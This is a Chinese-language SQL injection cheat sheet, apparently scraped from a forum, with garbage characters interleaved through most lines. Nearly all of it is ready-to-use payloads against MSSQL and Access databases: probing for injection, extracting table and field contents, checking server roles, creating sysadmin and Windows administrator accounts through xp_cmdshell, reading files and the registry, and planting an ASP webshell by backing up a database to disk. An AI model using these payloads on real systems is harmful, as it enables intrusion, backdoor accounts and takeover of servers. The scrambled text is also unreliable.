手工脚本注入
& Y. Q; U# N8 ]1.判断是否有注入;and 1=1 ;and 1=2 ) f4 W7 W, J# c8 L6 ?# B+ @
3 N; H. l+ S, l8 S2.初步判断是否是mssql ;and user>0
6 T8 c' M) c: `7 U. ?% G! U* r) O5 \. {0 x# n9 ]
3.注入参数是字符'and [查询条件] and ''=' , x* K8 W& l/ F2 J; j4 |
$ ^8 H. w9 n# X) Q8 b8 L' O# U4.搜索时没过滤参数的'and [查询条件] and '%25'='
( q4 ]6 d; _0 l. g' v$ F
' s- _. n$ a ?" P1 Q, }' u+ Z5.判断数据库系统
5 U0 z7 Z) m r# F: Q6 a4 x; c0 i;and (select count(*) from sysobjects)>0 mssql
' F5 M6 D: |* L2 H+ h;and (select count(*) from msysobjects)>0 access 8 p, U! v- S8 d5 h4 M
9 U8 M9 Y- X1 s4 B3 N: _3 a4 R. T; O6.猜数据库 ;and (select Count(*) from [数据库名])>0 7 O" ^" L( R; k! N7 O
, W/ \% Y) Q) g9 d
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 " f% y+ ~# B& G& o5 `) P
) m$ W' h. s2 h+ q w% X8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 4 ^7 \4 k3 @% s# V; f: N
\8 I' q8 w' ~5 i* l) X9 B9.(1)猜字段的ascii值(access)
4 p5 T5 Q4 P @# t# ]/ R$ m6 a;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
: M" A6 L) ?1 r" @* J/ `* W5 S' S _; `4 j. L7 q" c7 U0 f
(2)猜字段的ascii值(mssql) 3 m. y$ G$ O+ W5 y: V( J
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
6 c! E t( U) e- ]" u, g3 y' O. J, p4 { r, g
10.测试权限结构(mssql) ; \6 z; ]8 E* R" _! y
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
& v* s- Y. K2 G: d;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- . B9 S/ l' z; L; Y- A" I0 \
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
( Q3 s, X! D: N1 V+ `;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- % S" V* \$ |1 R# Y, U& J
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
3 g( |# V7 q& P+ ]' s$ x" A. G;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 5 ` a( ?7 j/ Z
;and 1=(select IS_MEMBER('db_owner'));--
; [/ T) @* w' g# ?- Y# x8 P! G. L$ f6 S
11.添加mssql和系统的帐户 0 p( F* |3 I+ S+ \
;exec master.dbo.sp_addlogin username;-- , }5 Z4 y9 }) g" f
5 y7 a* S7 @; J
;exec master.dbo.sp_password null,username,password;--
5 a L8 Y6 [' e4 e
: \6 ~+ L0 N/ Z/ c" E1 ?;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ! i3 n \2 S, G+ Z4 F
' V8 n, [) h. _% ^; i6 Y+ V5 E;exec master.dbo.xp_cmdshell 'net user username password
5 s) X5 x+ t& j5 i, @7 `! \/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- . Q9 ]/ U0 ?+ i0 e8 P
, Y9 D) t& d' l! g% j& E& |) t
;exec master.dbo.xp_cmdshell 'net user username password /add';--
" }6 }' ~3 x" O' \
+ S8 _9 V8 {" k2 U7 B8 q;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
+ q% O; V" W3 q6 O4 d3 Q
6 @3 Y7 y+ q F+ c- B) P, I12.(1)遍历目录
# X( r* P. E8 F$ v/ M
3 x( N; l9 V( S# H2 V4 |3 A;create table dirs(paths varchar(100), id int)
* D$ i3 \3 A$ W+ w$ \) v' c;insert dirs exec master.dbo.xp_dirtree 'c:\'
) x3 I9 [, j& X;and (select top 1 paths from dirs)>0 2 a0 `- D) C: u- b& J
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) |& X, l7 L4 V( R0 E
7 }2 z8 Z, p- d L, [4 D(2)遍历目录 ' |5 |- n+ o4 s" G- ?! \
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
3 o" _& d" r' y' N9 k( \* v6 E3 Y7 I;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
# C c' [! ]) r- A* Z' [;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 U+ ^$ _- ?1 m, s0 c1 M6 p
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 0 E* O: W+ G0 ~* d4 {
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
; W; P! W; \' m8 V. U5 I& p! t k
3 G4 X% y9 ~2 b8 B. J% |13.mssql中的存储过程 1 Y# c" q! O+ p/ b. K& Z
/ ?% P# n, b3 q% {xp_regenumvalues 注册表根键, 子键 1 G1 u& r7 R$ X$ A* T" y
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 3 d% I1 k; _% a( Z& u ?( J
{" J; Y6 D! }; k( Y U8 z6 P
xp_regread 根键,子键,键值名 6 g3 W, X' S1 ?6 Q% d
;exec xp_regread + _; M3 |. P% F2 @
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 v/ R* C- b3 ?! v( [
* M6 @, T X; B Uxp_regwrite 根键,子键, 值名, 值类型, 值 ! p4 W8 J# c- A) L g( R' S
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
+ V3 ]+ U2 {2 R5 J7 ^( U;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
& F: U0 K2 }( z% C" c, w5 ]# p4 `8 ]& N" {3 A% F
xp_regdeletevalue 根键,子键,值名
]5 q& y' j, r' Q8 |" Z9 ], i+ P2 X r' U) m x3 w% q# |" j
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
4 ]3 G0 j' j' E9 e/ ~! o) O7 l0 h" Q& a6 `
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 4 A2 c! a4 M& y: g% W. B
7 I: \0 ^3 h9 x1 r3 S5 J- }& }7 U14.mssql的backup创建webshell ' T* }( q, w" s& {' R# m0 t
use model ; |% S( O& K- f1 `
create table cmd(str image);
) W0 W, q, b$ J- t1 c: yinsert into cmd(str) values (''); ; U5 u! c& ^ C* f) u' g L
backup database model to disk='c:\l.asp'; 1 ~+ z4 j; A( n
# A0 K2 u- v! a' g5 P
15.mssql内置函数
. K! q. ]9 Q( \0 ?$ _$ K;and (select @@version)>0 获得Windows的版本号 ( t( H, q! o3 f5 o# W
;and user_name()='dbo' 判断当前系统的连接用户是不是sa . \2 b, W! I0 b ]! V
;and (select user_name())>0 爆当前系统的连接用户
: R! j/ a6 b, j4 j) r8 _;and (select db_name())>0 得到当前连接的数据库 / Y+ g% x: {$ z3 \8 r7 B
+ T; V, r6 D: `0 o" u+ R+ k16.简洁的webshell ' g# E u p) L3 q2 ~* s
" a! I1 G1 |2 q$ W
use model
; x, j% S2 ^# p5 Y0 W; _! S% _+ P% B" N0 g, q, n0 D
create table cmd(str image);
3 Y5 R% C7 C) C6 o' J
# X6 F3 H1 \; v" h4 w# v) zinsert into cmd(str) values (''); 3 l1 J' I K$ X2 u7 t4 G
# `9 O7 {! n o6 l* N& Rbackup database model to disk='g:\wwwtest\l.asp';
5 @/ C/ B6 Z8 M5 |3 A$ ?. y+ w _ ' Y4 j5 P1 @# n7 M4 O
|